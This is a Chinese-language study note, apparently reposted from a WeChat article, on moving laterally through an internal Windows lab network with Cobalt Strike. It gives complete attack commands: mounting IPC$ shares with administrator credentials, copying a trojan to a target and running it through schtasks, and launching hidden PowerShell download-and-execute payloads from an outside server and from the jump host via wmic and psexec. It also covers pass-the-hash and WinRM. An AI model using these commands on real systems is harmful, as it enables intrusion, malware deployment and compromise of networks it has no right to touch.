1. 程式人生 > 實用技巧 >內網橫向移動學習備忘錄

內網橫向移動學習備忘錄

0x00 前言

針對於內網滲透個人理解為資訊收集(內部網段的掃描、埠服務、作業系統、補丁更新、域機器及重要業務機器定位、防毒軟體、防火牆策略、密碼的規則、內部敏感文件等)然後根據獲取到的資訊來繪畫出內部的網路結構和內網脆弱點從而進行橫向滲透。

本篇文章記載了當拿到內網機器的密碼或Hash進行橫向移動的方式。

0x01 環境介紹

1.1 擴充套件圖


1.2 網路環境

Windows 7 跳版機(192.168.200.222、10.211.66.5)雙網絡卡可出網也可與內網連通。 Windows server 2012 目標靶機(192.168.200.66)不可出網。

1.3 簡述

攻擊者通過滲透測試拿到主機Win 7(192.168.200.222)的許可權並發現可出網,所以上線CS用來許可權維持。


前提我們已經抓取到Win 7(192.168.200.222)跳板機的登陸明文憑證,這裡是我新增的明文憑證,竊取憑證的方法有很多這裡不在贅述參考文章,此篇文章只記錄個人在學習內網環境下橫向移動的一些筆記。




新增一個 Win 7(192.168.200.222)跳板機的監聽器用來做中轉會話。



生成木馬檔案在本地。


Tips:因為Win 2012(192.168.200.66)目標機不出外網所以選擇剛新增的中轉會話。

0x02 IPC$ && 計劃任務

2.1 利用條件

1)沒有禁用IPC$連線、139和445埠、未使用防火牆等方式來阻止IPC$。

2)目標機器開啟了相關的IPC$服務。

3)需要目標機器的管理員賬號和密碼(IPC$空連線除外)。

4)需要得知目標機器IP地址並可互相通訊。

2.2 利用方式

在 CS 客戶端對Win 7(192.168.200.222)會話進行操作。

對 Win 2012(192.168.200.66)目標主機建立共享連線,並檢視目標主機共享資源。

beacon> shell net use \\192.168.200.66 /user:administrator "Hacker@1."
beacon> shell net view \\192.168.200.66


列出目標主機 C 盤下目錄檔案。

beacon> shell dir \\192.168.200.66\C$


將CS木馬上傳到跳板機。

beacon> upload /root/demo.exe (C:\Users\ppbibo\AppData\Local\Temp\demo.exe)

將Win 7(192.168.200.222)跳板機的木馬檔案copy到Win 2012(192.168.200.66)目標機的C共享盤下。

beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$


遠端建立Win 2012(192.168.200.66)目標機計劃任務執行木馬檔案。

beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@1." /sc MINUTE /mo 1 /tn test /tr "C:\\demo.exe"


由於 at 在windows server 2012等新版系統中已被棄用,所以需要使用 schtasks 命令代替。


如果目標機器支援 at 命令,參考如下。

net time \\192.168.200.66at \\192.168.200.66 11:05 c:\demo.exe

成功上線,該會話為被動連線,不操作的不會回連,如果中轉機會話斷掉,該會話也會斷掉。


2.3 IPC 相關的命令

開放/關閉 ipc$ 共享。

net share ipc$net share ipc$ /del

共享計算機 C 盤。

net share C=c:\

檢視/刪除共享的資源。

net sharenet share C /del

取消IPC遠端連線。

net use * /del /y

0x03 WMI

WMI(Windows Management Instrumentation,Windows管理規範)是一項核心的Windows管理技術;使用者可以使用WMI管理本地和遠端計算機。

3.1 利用條件

1)啟動WMI服務(預設開啟)。

2)開放135埠。

3.2 利用方式

在 CS 客戶端對Win 7(192.168.200.222)會話進行操作。

使用CS生成一個WEB互動式Payload(Scripted Web Delivery)來實現無檔案落地上線。


生成的 Payload。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://39.100.x.x:7799/a'))"

在CS 客戶端執行 wmic 遠端命令。

Tips:因為目標主機不出網所以需要把 http://39.100.x.x:7799/a 上的payload,複製下來並在跳板機開啟WEB服務,使受害機下載並執行跳板機上的Payload,上線CS。

跳板機安裝了 python 執行如下命令快速開啟WEB服務。

beacon> shell python -m SimpleHTTPServer 8080
beacon> shell wmic /node:192.168.200.66/user:administrator /password:Hacker@1. process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"




成功上線。

在 windows server 2012 驗證。


Tips:wmic命令缺點無回顯,但是可藉助其他指令碼(wmiexec.vbs)來實現回顯功能。

0X04 PsExec

PsExec是一種輕巧的telnet替代品,可讓您在其他系統上執行程序,併為控制檯應用程式提供完整的互動性,而無需手動安裝客戶端軟體。


beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami


beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))


Tips:psexec 傳遞命令時不要新增雙引號否則會報 “系統找不到指定的檔案” 的錯誤。

Psexec下載地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

更多參考:

https://www.itprotoday.com/compute-engines/psexec

4.1 CS Psexec_psh hash傳遞

憑證竊取中並不是每次都可以獲取到明文,會出現只有hash的情況,獲取hash同樣可以進行橫向操作。

因為換了WiFi地址所有IP發生瞭如下變化。

Windows 7 跳版機(172.16.100.176、10.211.66.5)雙網絡卡可出網也可與內網連通。 Windows server 2012 目標靶機(172.16.100.60)不可出網。





成功上線。

0X05 WINRM

WinRM 指的是Windows遠端管理服務,通過遠端連線winRM模組可以操作windows命令列,預設監聽埠5985(HTTP)&5986 (HTTPS),在2012及以後預設開啟。

這裡的目標靶機正好是 windows server 2012,執行如下命令檢視是否啟用了 winrm service 。

winrm enumerate winrm/config/listener


5.1 利用方式

CS自帶了一些用於橫向移動的功能,可以在目標中選中主機進行攻擊。




成功上線。

來源:https://mp.weixin.qq.com/s/iwZtY-tToNRQYRi_qRQwjg